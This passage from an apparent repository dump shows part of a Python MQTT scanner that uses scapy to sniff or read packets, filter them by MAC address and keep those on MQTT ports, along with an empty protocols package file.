mac_address.lower()  # it should contain lower case chars\n            if src_dst == 0:  # check source field\n                packets = sniff(count=count, iface=interface, offline=file_name, filter=mqtt_filter,\n                                lfilter=lambda d: d.src == mac_address)\n            elif src_dst == 1:  # check destination field\n                packets = sniff(count=count, iface=interface, offline=file_name, filter=mqtt_filter,\n                                lfilter=lambda d: d.dst == mac_address)\n        else:\n            packets = sniff(count=count, iface=interface, offline=file_name, filter=mqtt_filter)\n        packets_found = []  # the packets we found\n        for i in range(0, len(packets)):\n            if MQTTScanner.check_port(packets[i]['TCP']):\n                packets_found.append(packets[i])\n        return packets_found\n\n    @staticmethod\n    def check_port(packet_param):\n        \"\"\"\n        Checks whether the packet has a MQTT port as source or destination port number.\n        :param packet_param: the packet to be checked\n        :return:\n        \"\"\"\n        if packet_param.sport == mqtt_port_ssl or packet_param.sport == mqtt_port or \\\n        packet_param.dport == mqtt_port or packet_param.dport == mqtt_port_ssl:\n            return True\n        return False\n    '''\n\n\nif __name__ == '__main__':\n    packets = MQTTScanner().scan()\n"
  },
  {
    "path": "src/protocols/__init__.py",
    "content": "\"\"\"\n    This package contains all available protocols.\n\"\"\""
  }
]